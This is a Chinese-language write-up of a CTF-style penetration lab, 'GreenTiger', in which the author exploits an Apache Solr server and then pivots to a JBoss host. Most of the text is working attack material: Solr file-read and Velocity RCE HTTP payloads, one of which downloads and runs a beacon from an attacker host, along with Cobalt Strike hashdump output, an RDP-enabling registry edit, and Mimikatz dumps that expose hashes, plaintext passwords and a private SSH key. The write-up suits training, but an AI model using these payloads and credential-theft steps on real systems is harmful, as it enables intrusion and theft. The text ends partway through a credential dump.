CyberStrikeLab-GreenTiger-Wp
Solr、JBOSS、CVE-2025-33073、WSUS、zeroLogon、内网渗透、多级代理
GreenTiger
入口
172.5.5.5
❯ nmap -A 172.5.5.5
Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-02 11:18 CST
Nmap scan report for 172.5.5.5
Host is up (0.058s latency).
Not shown: 995 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
80/tcp open http Apache Solr
| http-title: Solr Admin
|_Requested resource was http://172.5.5.5/solr/
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds?
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: -8h00m00s
| smb2-time:
| date: 2025-07-01T19:20:13
|_ start_date: N/A
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled but not required
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 113.00 seconds入口80是一个solr 服务
cve-2024-45216
存在这个cve可以任意文件读取
Exp: https://github.com/congdong007/CVE-2024-45216-Poc
POST /solr/cslab/debug/dump:/admin/info/key?param=ContentStreams&stream.url=file:///flag.txt HTTP/1.1
Host: 172.5.5.5
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.82Safari/537.36
Accept-Encoding: gzip, deflate, br
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Connection: keep-alive
SolrAuth: test
Content-Type: application/json
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7,zh-TW;q=0.6
Content-Length: 0
flag1
HTTP/1.1 200 OK
Content-Type: application/json;charset=utf-8
Content-Length: 1190
{
"responseHeader":{
"status":0,
"QTime":13,
"handler":"org.apache.solr.handler.DumpRequestHandler",
"params":{
"param":"ContentStreams",
"stream.url":"file:///flag.txt"}},
"params":{
"stream.url":"file:///flag.txt",
"echoHandler":"true",
"param":"ContentStreams",
"echoParams":"explicit"},
"streams":[{
"name":null,
"sourceInfo":null,
"size":0,
"contentType":"application/json",
"stream":""},
{
"name":null,
"sourceInfo":"url",
"size":null,
"contentType":null,
"stream":" _____ _______ _ \r\n / ____| |__ __(_) \r\n | | __ _ __ ___ ___ _ __ | | _ __ _ ___ _ __ \r\n | | |_ | '__/ _ \\/ _ \\ '_ \\| | | |/ _` |/ _ \\ '__|\r\n | |__| | | | __/ __/ | | | | | | (_| | __/ | \r\n \\_____|_| \\___|\\___|_| |_|_| |_|\\__, |\\___|_| \r\n __/ | \r\n |___/ \r\nGreenTiger-cslab{97bcad867}"}],
"context":{
"webapp":"/solr",
"path":"/debug/dump",
"httpMethod":"POST"}}
可以直接读flag
RCE
Referer: https://www.exploit-db.com/exploits/47572
需要先获取节点名称
通过访问
POST /solr/admin/cores:/admin/info/key?indexInfo=false&wt=json&indexInfo=false&wt=json HTTP/1.1
Host: 172.5.5.5
User-Agent: python-requests/2.27.1
Accept-Encoding: gzip, deflate, br
Accept: */*
Connection: keep-alive
SolrAuth: test
Content-Length: 0
HTTP/1.1 200 OK
Content-Type: application/json;charset=utf-8
Content-Length: 384
{
"responseHeader":{
"status":0,
"QTime":0},
"initFailures":{},
"status":{
"cslab":{
"name":"cslab",
"instanceDir":"C:\\solr-8.2.0\\server\\solr\\cslab",
"dataDir":"C:\\solr-8.2.0\\server\\solr\\cslab\\data\\",
"config":"solrconfig.xml",
"schema":"managed-schema",
"startTime":"2025-07-01T22:37:06.723Z",
"uptime":624719}}}
得到节点名称为cslab
POST /solr/cslab/config HTTP/1.1
Host: 172.5.5.5
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.82Safari/537.36
Accept-Encoding: gzip, deflate, br
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Connection: keep-alive
SolrAuth: test
Content-Type: application/json
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7,zh-TW;q=0.6
Content-Length: 363
{
"update-queryresponsewriter": {
"startup": "lazy",
"name": "velocity",
"class": "solr.VelocityResponseWriter",
"template.base.dir": "",
"solr.resource.loader.enabled": "true",
"params.resource.loader.enabled": "true"
}
}
先改配置
HTTP/1.1 200 OK
Content-Type: text/plain;charset=utf-8
Content-Length: 150
{
"responseHeader":{
"status":0,
"QTime":5799},
"WARNING":"This response format is experimental. It is likely to change in the future."}
然后RCE
GET /solr/cslab/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27whoami%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end HTTP/1.1
Host: 172.5.5.5
User-Agent: curl/8.1.2
Accept: */*
Connection: keep-alive
这里执行的是whoami
上线
GET /solr/cslab/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27powershell%20-c%20curl%20172.16.233.2/shell.exe%20-O%20shell.exe%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end HTTP/1.1
Host: 172.5.5.5
User-Agent: curl/8.1.2
Accept: */*
Connection: keep-alive
下载🐎子后上线
GET /solr/cslab/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27shell.exe%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end HTTP/1.1
Host: 172.5.5.5
User-Agent: curl/8.1.2
Accept: */*
Connection: keep-alive
hashdump
beacon> hashdump
[*] Tasked beacon to dump hashes
[+] host called home, sent: 82541 bytes
[+] received password hashes:
Administrator:500:aad3b435b51404eeaad3b435b51404ee:544bb46748b4972b7566995e6eb29bdb:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:724dfd33244d7c39acef1703ef716517:::ipconfig
beacon> shell ipconfig
[*] Tasked beacon to run: ipconfig
[+] host called home, sent: 39 bytes
[+] received output:
Windows IP 配置
以太网适配器 以太网实例:
连接特定的 DNS 后缀 . . . . . . . :
本地链接 IPv6 地址. . . . . . . . : fe80::f1f5:b95:4609:4d80%4
IPv4 地址 . . . . . . . . . . . . : 172.5.5.5
子网掩码 . . . . . . . . . . . . : 255.255.255.0
默认网关. . . . . . . . . . . . . : 172.5.5.233
以太网适配器 以太网实例 0:
连接特定的 DNS 后缀 . . . . . . . :
本地链接 IPv6 地址. . . . . . . . : fe80::7a3b:51a9:48cc:e815%16
IPv4 地址 . . . . . . . . . . . . : 172.6.6.5
子网掩码 . . . . . . . . . . . . : 255.255.255.0
默认网关. . . . . . . . . . . . . : 172.6.6.1
有一个新的网段
rdp
beacon> shell net user administrator passw0rd@1234
[*] Tasked beacon to run: net user administrator passw0rd@1234
[+] host called home, sent: 67 bytes
[+] received output:
命令成功完成。
beacon> shell netstat -ano
[*] Tasked beacon to run: netstat -ano
[+] host called home, sent: 43 bytes
[+] received output:
活动连接
协议 本地地址 外部地址 状态 PID
TCP 0.0.0.0:80 0.0.0.0:0 LISTENING 4000
TCP 0.0.0.0:135 0.0.0.0:0 LISTENING 840
TCP 0.0.0.0:445 0.0.0.0:0 LISTENING 4
TCP 0.0.0.0:5985 0.0.0.0:0 LISTENING 4
TCP 0.0.0.0:47001 0.0.0.0:0 LISTENING 4
TCP 0.0.0.0:49664 0.0.0.0:0 LISTENING 616
TCP 0.0.0.0:49665 0.0.0.0:0 LISTENING 516
TCP 0.0.0.0:49666 0.0.0.0:0 LISTENING 468
TCP 0.0.0.0:49667 0.0.0.0:0 LISTENING 992
TCP 0.0.0.0:49668 0.0.0.0:0 LISTENING 1624
TCP 0.0.0.0:57938 0.0.0.0:0 LISTENING 608
TCP 0.0.0.0:57939 0.0.0.0:0 LISTENING 592
TCP 127.0.0.1:53671 127.0.0.1:53672 ESTABLISHED 4000
TCP 127.0.0.1:53672 127.0.0.1:53671 ESTABLISHED 4000
TCP 127.0.0.1:53673 127.0.0.1:53674 ESTABLISHED 4000
TCP 127.0.0.1:53674 127.0.0.1:53673 ESTABLISHED 4000
TCP 127.0.0.1:53677 127.0.0.1:53678 ESTABLISHED 4000
TCP 127.0.0.1:53678 127.0.0.1:53677 ESTABLISHED 4000
TCP 172.5.5.5:80 192.168.122.206:50442 CLOSE_WAIT 4000
TCP 172.5.5.5:80 192.168.122.206:50762 CLOSE_WAIT 4000
TCP 172.5.5.5:80 192.168.122.206:51683 ESTABLISHED 4000
TCP 172.5.5.5:80 192.168.122.206:51717 ESTABLISHED 4000
TCP 172.5.5.5:80 192.168.122.206:52930 CLOSE_WAIT 4000
TCP 172.5.5.5:139 0.0.0.0:0 LISTENING 4
TCP 172.5.5.5:60432 172.16.233.2:12345 ESTABLISHED 2748
TCP 172.6.6.5:139 0.0.0.0:0 LISTENING 4
TCP [::]:80 [::]:0 LISTENING 4000
TCP [::]:135 [::]:0 LISTENING 840
TCP [::]:445 [::]:0 LISTENING 4
TCP [::]:5985 [::]:0 LISTENING 4
TCP [::]:47001 [::]:0 LISTENING 4
TCP [::]:49664 [::]:0 LISTENING 616
TCP [::]:49665 [::]:0 LISTENING 516
TCP [::]:49666 [::]:0 LISTENING 468
TCP [::]:49667 [::]:0 LISTENING 992
TCP [::]:49668 [::]:0 LISTENING 1624
TCP [::]:57938 [::]:0 LISTENING 608
TCP [::]:57939 [::]:0 LISTENING 592
UDP 0.0.0.0:123 *:* 1740
UDP 0.0.0.0:500 *:* 992
UDP 0.0.0.0:4500 *:* 992
UDP 0.0.0.0:5353 *:* 1096
UDP 0.0.0.0:5355 *:* 1096
UDP 127.0.0.1:64664 127.0.0.1:64664 992
UDP 172.5.5.5:137 *:* 4
UDP 172.5.5.5:138 *:* 4
UDP 172.6.6.5:137 *:* 4
UDP 172.6.6.5:138 *:* 4
UDP [::]:123 *:* 1740
UDP [::]:500 *:* 992
UDP [::]:4500 *:* 992
UDP [::]:5353 *:* 1096
UDP [::]:5355 *:* 1096
beacon> shell REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 0 /f
[*] Tasked beacon to run: REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 0 /f
[+] host called home, sent: 137 bytes
[+] received output:
操作成功完成。修改密码 ，打开3389
fscan-172.6.6.0/24
[+] 端口开放 172.6.6.8:445
[+] 端口开放 172.6.6.8:139
[+] 端口开放 172.6.6.8:135
[+] 端口开放 172.6.6.8:80
[+] 端口开放 172.6.6.8:5985
[+] 端口开放 172.6.6.8:47001
[+] 端口开放 172.6.6.8:49665
[+] 端口开放 172.6.6.8:49664
[+] 端口开放 172.6.6.8:49667
[+] 端口开放 172.6.6.8:49666
[+] 端口开放 172.6.6.8:49669
[+] 端口开放 172.6.6.8:49668
[+] 端口开放 172.6.6.8:49670
[+] 端口开放 172.6.6.8:49671
[*] NetInfo
[*] 172.6.6.8
[->] cyberweb
[->] 172.6.6.8
[->] 10.8.8.12
[*] OsInfo 172.6.6.8 (Windows Server 2016 Standard 14393)
[*] 网站标题 http://172.6.6.8:5985 状态码:404 长度:315 标题:Not Found
[*] 网站标题 http://172.6.6.8:47001 状态码:404 长度:315 标题:Not Found
[*] 网站标题 http://172.6.6.8 状态码:200 长度:703 标题:IIS Windows Server
.ollama
C:\Users\Administrator\.ollama>type id_ed25519
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtz
c2gtZWQyNTUxOQAAACB/UrRhCTDNLTm5XXxSKdQzBvhbfr1wU3D7DVZab0/cEgAA
AIjVcO0A1XDtAAAAAAtzc2gtZWQyNTUxOQAAACB/UrRhCTDNLTm5XXxSKdQzBvhb
fr1wU3D7DVZab0/cEgAAAED4+EWX+1SQPqS276eHKFlWjVq/AqTR3iwnt33y4voO
kX9StGEJMM0tObldfFIp1DMG+Ft+vXBTcPsNVlpvT9wSAAAAAAECAwQF
-----END OPENSSH PRIVATE KEY-----
C:\Users\Administrator\.ollama>type id_ed25519.pub
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIH9StGEJMM0tObldfFIp1DMG+Ft+vXBTcPsNVlpvT9wS
winpeas-autologon credentials
可以通过winpeas拿到这个信息，其实也可以直接查注册表的值，因为这个内容是写在注册表的，当配置了自动登录后就会把这个信息写在注册表里面
�X�T�T�T�T�T�T�T�T�T�T�g Looking for AutoLogon credentials
Some AutoLogon credentials were found
DefaultUserName : administrator
DefaultPassword : Uyp23hj
172.6.6.8-cyberweb
PS C:\Users\Administrator\Desktop> .\fscan2.exe -h 172.6.6.0/24 -hn 172.6.6.5 -p 1-65535 -t 2000
___ _
/ _ \ ___ ___ _ __ __ _ ___| | __
/ /_\/____/ __|/ __| '__/ _` |/ __| |/ /
/ /_\\_____\__ \ (__| | | (_| | (__| <
\____/ |___/\___|_| \__,_|\___|_|\_\
fscan version: 2.0.0
[*] 扫描类型: all, 目标端口: 1-65535
[*] 开始信息扫描...
[*] CIDR范围: 172.6.6.0-172.6.6.255
[*] 已生成IP范围: 172.6.6.0 - 172.6.6.255
[*] 已解析CIDR 172.6.6.0/24 -> IP范围 172.6.6.0-172.6.6.255
[*] 已排除指定主机: 1 个
[*] 最终有效主机数量: 255
[+] 目标 172.6.6.8 存活 (ICMP)
[+] ICMP存活主机数量: 1
[*] 共解析 65535 个有效端口
[+] 端口开放 172.6.6.8:80
[+] 端口开放 172.6.6.8:445
[+] 端口开放 172.6.6.8:139
[+] 端口开放 172.6.6.8:135
[+] 端口开放 172.6.6.8:5985
[+] 端口开放 172.6.6.8:8080
[+] 端口开放 172.6.6.8:47001
[+] 端口开放 172.6.6.8:49671
[+] 端口开放 172.6.6.8:49670
[+] 端口开放 172.6.6.8:49669
[+] 端口开放 172.6.6.8:49668
[+] 端口开放 172.6.6.8:49667
[+] 端口开放 172.6.6.8:49666
[+] 端口开放 172.6.6.8:49665
[+] 端口开放 172.6.6.8:49664
[+] 存活端口数量: 15
[*] 开始漏洞扫描...
[*] NetInfo
[*] 172.6.6.8
[->] cyberweb
[->] 172.6.6.8
[->] 10.8.8.12
[!] 扫描错误 172.6.6.8:139 - netbios error
[*] 网站标题 http://172.6.6.8:5985 状态码:404 长度:315 标题:Not Found
[*] 网站标题 http://172.6.6.8:47001 状态码:404 长度:315 标题:Not Found
[*] OsInfo 172.6.6.8 (Windows Server 2016 Standard 14393)
[*] 网站标题 http://172.6.6.8 状态码:200 长度:703 标题:IIS Windows Server
[*] 网站标题 http://172.6.6.8:8080 状态码:200 长度:1554 标题:Welcome to JBoss AS
[+] 发现指纹 目标: http://172.6.6.8:8080 指纹: [Jboss]
[!] 扫描错误 172.6.6.8:49669 - Get "http://172.6.6.8:49669": context deadline exceeded (Client.Timeout exceeded while awaiting headers)
[!] 扫描错误 172.6.6.8:49671 - Get "http://172.6.6.8:49671": context deadline exceeded (Client.Timeout exceeded while awaiting headers)
[!] 扫描错误 172.6.6.8:49667 - Get "http://172.6.6.8:49667": context deadline exceeded (Client.Timeout exceeded while awaiting headers)
[!] 扫描错误 172.6.6.8:49666 - Get "http://172.6.6.8:49666": context deadline exceeded (Client.Timeout exceeded while awaiting headers)
[!] 扫描错误 172.6.6.8:49664 - Get "http://172.6.6.8:49664": context deadline exceeded (Client.Timeout exceeded while awaiting headers)
[!] 扫描错误 172.6.6.8:49668 - Get "http://172.6.6.8:49668": context deadline exceeded (Client.Timeout exceeded while awaiting headers)
[!] 扫描错误 172.6.6.8:49665 - Get "http://172.6.6.8:49665": context deadline exceeded (Client.Timeout exceeded while awaiting headers)
[!] 扫描错误 172.6.6.8:49670 - Get "http://172.6.6.8:49670": context deadline exceeded (Client.Timeout exceeded while awaiting headers)
[+] 扫描已完成: 15/15
[*] 扫描结束,耗时: 1m44.977529s重启了一遍环境，这次多扫出来一个8080端口，前面第一次没扫出来,是一个jboss服务
8080-jboss
❯ nuclei -tags jboss -u http://172.6.6.8:8080/
__ _
____ __ _______/ /__ (_)
/ __ \/ / / / ___/ / _ \/ /
/ / / / /_/ / /__/ / __/ /
/_/ /_/\__,_/\___/_/\___/_/ v3.4.4
projectdiscovery.io
[INF] Current nuclei version: v3.4.4 (outdated)
[INF] Current nuclei-templates version: v10.2.4 (latest)
[WRN] Scan results upload to cloud is disabled.
[INF] New templates added in latest release: 67
[INF] Templates loaded for current scan: 14
[INF] Executing 14 signed templates from projectdiscovery/nuclei-templates
[INF] Targets loaded for current scan: 1
[INF] Templates clustered: 2 (Reduced 1 Requests)
[jboss-detect] [http] [info] http://172.6.6.8:8080/
[CVE-2017-12149] [http] [critical] http://172.6.6.8:8080/invoker/readonly
[INF] Scan completed in 1m. 2 matches found.nuclei 一把梭，发现了CVE-2017-12149
CVE-2017-12149
Exp:
https://github.com/yunxu1/jboss-_CVE-2017-12149
使用这个可以打
杀软检测
映像名称 PID 服务
========================= ======== ============================================
System Idle Process 0 暂缺
System 4 暂缺
smss.exe 244 暂缺
csrss.exe 332 暂缺
csrss.exe 416 暂缺
wininit.exe 432 暂缺
winlogon.exe 464 暂缺
services.exe 532 暂缺
lsass.exe 540 KeyIso, Netlogon, SamSs, VaultSvc
svchost.exe 612 BrokerInfrastructure, DcomLaunch, LSM,
PlugPlay, Power, SystemEventsBroker
svchost.exe 664 RpcEptMapper, RpcSs
dwm.exe 744 暂缺
svchost.exe 776 DsmSvc, gpsvc, IKEEXT, iphlpsvc, ProfSvc,
Schedule, seclogon, SENS, ShellHWDetection,
Themes, UserManager, Winmgmt, WpnService,
wuauserv
svchost.exe 848 Dhcp, EventLog, lmhosts, TimeBrokerSvc
svchost.exe 856 EventSystem, FontCache, LicenseManager,
netprofm, nsi, W32Time, WinHttpAutoProxySvc
svchost.exe 892 CryptSvc, Dnscache, LanmanWorkstation,
NlaSvc, WinRM
svchost.exe 900 NcbService, PcaSvc, StorSvc, TrkWks,
UALSVC, wudfsvc
svchost.exe 96 BFE, CoreMessagingRegistrar, DPS, MpsSvc
svchost.exe 588 Wcmsvc
svchost.exe 1240 Browser, LanmanServer
svchost.exe 1292 PolicyAgent
spoolsv.exe 1528 Spooler
svchost.exe 1628 AppHostSvc
svchost.exe 1640 ftpsvc
svchost.exe 1652 DiagTrack
svchost.exe 1676 StateRepository, tiledatamodelsvc
jbosssvc.exe 1712 JBAS60SVC
svchost.exe 1724 W3SVC, WAS
cmd.exe 1636 暂缺
conhost.exe 1084 暂缺
java.exe 2384 暂缺
ChsIME.exe 2476 暂缺
RuntimeBroker.exe 2676 暂缺
sihost.exe 2712 暂缺
svchost.exe 2724 CDPUserSvc_24738, OneSyncSvc_24738
taskhostw.exe 2748 暂缺
ChsIME.exe 2960 暂缺
explorer.exe 736 暂缺
ShellExperienceHost.exe 2452 暂缺
SearchUI.exe 3000 暂缺
shutdown.exe 3336 暂缺
conhost.exe 3344 暂缺
ServerManager.exe 3536 暂缺
jusched.exe 3860 暂缺
msdtc.exe 2408 MSDTC
cmd.exe 3836 暂缺
conhost.exe 2472 暂缺
LogonUI.exe 1044 暂缺
LockAppHost.exe 3452 暂缺
taskhostw.exe 2332 暂缺
cmd.exe 2300 暂缺
conhost.exe 2280 暂缺
tasklist.exe 3220 暂缺
WmiPrvSE.exe 2292 暂缺没有杀软
把跳板的马子放到这里
c:\solr-8.2.0\server\solr-webapp\webapp\js然后通过下面链接访问
http://172.6.6.5/solr/js/beacon.exepowershell -c curl http://172.6.6.5/solr/js/beacon.exe -O c:\users\public\beacon.exe成功上线
mimikaz-logonpasswords
Authentication Id : 0 ; 1156178 (00000000:0011a452)
Session : Service from 0
User Name : DefaultAppPool
Domain : IIS APPPOOL
Logon Server : (null)
Logon Time : 2025/7/2 11:49:21
SID : S-1-5-82-3006700770-424185619-1745488364-794895919-4004696415
msv :
[00000003] Primary
* Username : CYBERWEB$
* Domain : CYBERSTRIKELAB
* NTLM : fb2989339d031d96df706a5329cdff20
* SHA1 : 3207b6487c95fa27eec180f97d3ac72c3aeeff00
tspkg :
wdigest :
* Username : CYBERWEB$
* Domain : CYBERSTRIKELAB
* Password : (null)
kerberos :
* Username : CYBERWEB$
* Domain : cyberstrikelab.com
* Password : 34 6e f6 86 c9 9f 0f 34 29 16 9c 35 77 49 50 3f b7 47 74 c4 b7 70 5b f8 99 36 6c 00 16 a7 5e 21 5a 35 5c 33 06 51 a6 22 d8 ce 75 3d cb 69 3e e6 84 05 4b 31 43 da 81 4d dd 0f 1c 04 3c 1d 3f d7 13 f7 d9 cd 1b 06 9a 1f 86 05 6a 32 49 15 c3 b0 ff 91 cd b8 a5 4b d6 b5 80 00 03 dd 0b a8 cc 65 c3 11 a6 a1 15 fb d5 3e 32 38 2d d4 64 d2 2a ec 9e 6f e6 b0 ad d8 4d f2 d0 b8 9b ec f4 0a a1 5a 88 f9 fe b3 12 e6 26 25 e4 b4 f3 1f 34 e2 36 fc 44 16 36 88 5b bc 29 f0 3b 70 11 c2 cb 4c b6 9c 7b df 2c 78 90 5e d8 0e 0a 97 81 97 86 c8 71 bb af 1a b8 a5 ac b6 c7 86 05 ab a6 bf 62 da 0c f8 39 ff 7f 4a a0 cf ce b7 22 e3 be 78 9a a5 a3 64 91 b8 ed 0c 2a 77 d5 8e 86 20 52 e7 4d 77 d5 c7 aa e0 33 01 65 ca fa 2d c3 ba 69 af d2 fe 3c 64
ssp :
credman :
Authentication Id : 0 ; 52353 (00000000:0000cc81)
Session : Interactive from 1
User Name : DWM-1
Domain : Window Manager
Logon Server : (null)
Logon Time : 2025/7/2 11:08:11
SID : S-1-5-90-0-1
msv :
[00000003] Primary
* Username : CYBERWEB$
* Domain : CYBERSTRIKELAB
* NTLM : fb2989339d031d96df706a5329cdff20
* SHA1 : 3207b6487c95fa27eec180f97d3ac72c3aeeff00
tspkg :
wdigest :
* Username : CYBERWEB$
* Domain : CYBERSTRIKELAB
* Password : (null)
kerberos :
* Username : CYBERWEB$
* Domain : cyberstrikelab.com
* Password : 34 6e f6 86 c9 9f 0f 34 29 16 9c 35 77 49 50 3f b7 47 74 c4 b7 70 5b f8 99 36 6c 00 16 a7 5e 21 5a 35 5c 33 06 51 a6 22 d8 ce 75 3d cb 69 3e e6 84 05 4b 31 43 da 81 4d dd 0f 1c 04 3c 1d 3f d7 13 f7 d9 cd 1b 06 9a 1f 86 05 6a 32 49 15 c3 b0 ff 91 cd b8 a5 4b d6 b5 80 00 03 dd 0b a8 cc 65 c3 11 a6 a1 15 fb d5 3e 32 38 2d d4 64 d2 2a ec 9e 6f e6 b0 ad d8 4d f2 d0 b8 9b ec f4 0a a1 5a 88 f9 fe b3 12 e6 26 25 e4 b4 f3 1f 34 e2 36 fc 44 16 36 88 5b bc 29 f0 3b 70 11 c2 cb 4c b6 9c 7b df 2c 78 90 5e d8 0e 0a 97 81 97 86 c8 71 bb af 1a b8 a5 ac b6 c7 86 05 ab a6 bf 62 da 0c f8 39 ff 7f 4a a0 cf ce b7 22 e3 be 78 9a a5 a3 64 91 b8 ed 0c 2a 77 d5 8e 86 20 52 e7 4d 77 d5 c7 aa e0 33 01 65 ca fa 2d c3 ba 69 af d2 fe 3c 64
ssp :
credman :
Authentication Id : 0 ; 996 (00000000:000003e4)
Session : Service from 0
User Name : CYBERWEB$
Domain : CYBERSTRIKELAB
Logon Server : (null)
Logon Time : 2025/7/2 11:08:08
SID : S-1-5-20
msv :
[00000003] Primary
* Username : CYBERWEB$
* Domain : CYBERSTRIKELAB
* NTLM : fb2989339d031d96df706a5329cdff20
* SHA1 : 3207b6487c95fa27eec180f97d3ac72c3aeeff00
tspkg :
wdigest :
* Username : CYBERWEB$
* Domain : CYBERSTRIKELAB
* Password : (null)
kerberos :
* Username : cyberweb$
* Domain : CYBERSTRIKELAB.COM
* Password : (null)
ssp :
credman :
Authentication Id : 0 ; 448536 (00000000:0006d818)
Session : Interactive from 0
User Name : cslabwow
Domain : CYBERSTRIKELAB
Logon Server : DC
Logon Time : 2025/7/2 19:12:41
SID : S-1-5-21-4286488488-1212600890-1604239976-1105
msv :
[00000003] Primary
* Username : cslabwow
* Domain : CYBERSTRIKELAB
* NTLM : adae448c0f5694a408f161b7d1cddd41
* SHA1 : dbf32faf57d185b3022e922ba4abb3569179a2be
* DPAPI : 9e03a63de59aebacbede596a3472a196
tspkg :
wdigest :
* Username : cslabwow
* Domain : CYBERSTRIKELAB
* Password : (null)
kerberos :
* Username : cslabwow
* Domain : CYBERSTRIKELAB.COM
* Password : cyber@w0w
ssp :
credman :
Authentication Id : 0 ; 140908 (00000000:0002266c)
Session : Interactive from 1
User Name : Administrator
Domain : CYBERWEB
Logon Server : CYBERWEB
Logon Time : 2025/7/2 11:09:20
SID : S-1-5-21-332097019-2215467117-1557799732-500
msv :
[00000003] Primary
* Username : Administrator
* Domain : CYBERWEB
* NTLM : b39db959b4663dc5334c3e6cb3183f03
* SHA1 : af4eefa50c4fbca36e849c0d9cff1e4639555eff
tspkg :
wdigest :
* Username : Administrator
* Domain : CYBERWEB
* Password : (null)
kerberos :
* Username : Administrator
* Domain : CYBERWEB
* Password : (null)
ssp :
credman :
Authentication Id : 0 ; 995 (00000000:000003e3)
Session : Service from 0
User Name : IUSR
Domain : NT AUTHORITY
Logon Server : (null)
Logon Time : 2025/7/2 11:08:33
SID : S-1-5-17
msv :
tspkg :
wdigest :
* Username : (null)
* Domain : (null)
* Password : (null)
kerberos :
ssp :
credman :
Authentication Id : 0 ; 997 (00000000:000003e5)
Session : Service from 0
User Name : LOCAL SERVICE
Domain : NT AUTHORITY
Logon Server : (null)
Logon Time : 2025/7/2 11:08:12
SID : S-1-5-19
msv :
tspkg :
wdigest :
* Username : (null)
* Domain : (null)
* Password : (null)
kerberos :
* Username : (null)
* Domain : (null)
* Password : (null)
ssp :
credman :
Authentication Id : 0 ; 52372 (00000000:0000cc94)
Session : Interactive from 1
User Name : DWM-1
Domain : Window Manager
Logon Server : (null)
Logon Time : 2025/7/2 11:08:11
SID : S-1-5-90-0-1
msv :
[00000003] Primary
* Username : CYBERWEB$
* Domain : CYBERSTRIKELAB
* NTLM : f6c4e5bcec90eff929409a7d5a865bc3
* SHA1 : 83f28da48338bf5a57d123ed5d32fcfaab6d007b
tspkg :
wdigest :
* Username : CYBERWEB$
* Domain : CYBERSTRIKELAB
* Password : (null)
kerberos :
* Username : CYBERWEB$
* Domain : cyberstrikelab.com
* Password : c5 d7 05 35 0b d6 98 38 03 c0 00 ac 86 c1 f4 f4 81 6f 56 95 52 7c 55 64 f6 2a 72 2d 41 02 ff 2c 4b 32 d9 d5 5f b8 44 e0 08 e7 3c 67 5d 3f ac c4 4e 3c d4 69 94 15 25 f7 53 6a 15 d9 6b 3c a3 66 a2 c2 57 bb 9e 10 2c 2d a5 bd 89 25 1d e1 4b 99 f5 c8 4e 72 eb d0 ed 68 26 65 58 37 d3 5c 15 c9 6d 92 a5 4e 8c cf 97 eb b5 93 d4 23 bf cb 8a 43 4e 74 d8 ec 41 2c dc 91 f1 7b f0 e1 3c 8b 33 b4 00 82 c5 37 d8 0d f8 b5 79 75 19 90 50 b2 b4 c9 58 72 93 c4 6d 26 7e 17 de 3e 54 74 1b 32 65 34 12 54 e2 8a 55 9d 31 25 e6 c6 81 4a fb b8 e6 ef 0a ca be 75 5f fe e8 8f ea a5 6b ac bc da 02 40 90 ea 1c c9 ed 08 00 66 ea 59 60 f1 7d 96 c6 b8 f1 a5 3d 8e 21 72 18 f6 7a 1a 7c d1 0f 46 e3 a5 84 e5 05 a7 c4 ed ad 87 89 17 12 57 a2 b3 a8 1f
ssp :
credman :
Authentication Id : 0 ; 24449 (00000000:00005f81)
Session : UndefinedLogonType from 0
User Name : (null)
Domain : (null)
Logon Server : (null)
Logon Time : 2025/7/2 11:08:06
SID :
msv :
[00000003] Primary
* Username : CYBERWEB$
* Domain : CYBERSTRIKELAB
* NTLM : fb2989339d031d96df706a5329cdff20
* SHA1 : 3207b6487c95fa27eec180f97d3ac72c3aeeff00
tspkg :
wdigest :
kerberos :
ssp :
credman :
Authentication Id : 0 ; 999 (00000000:000003e7)
Session : UndefinedLogonType from 0
User Name : CYBERWEB$
Domain : CYBERSTRIKELAB
Logon Server : (null)
Logon Time : 2025/7/2 11:08:06
SID : S-1-5-18
msv :
tspkg :
wdigest :
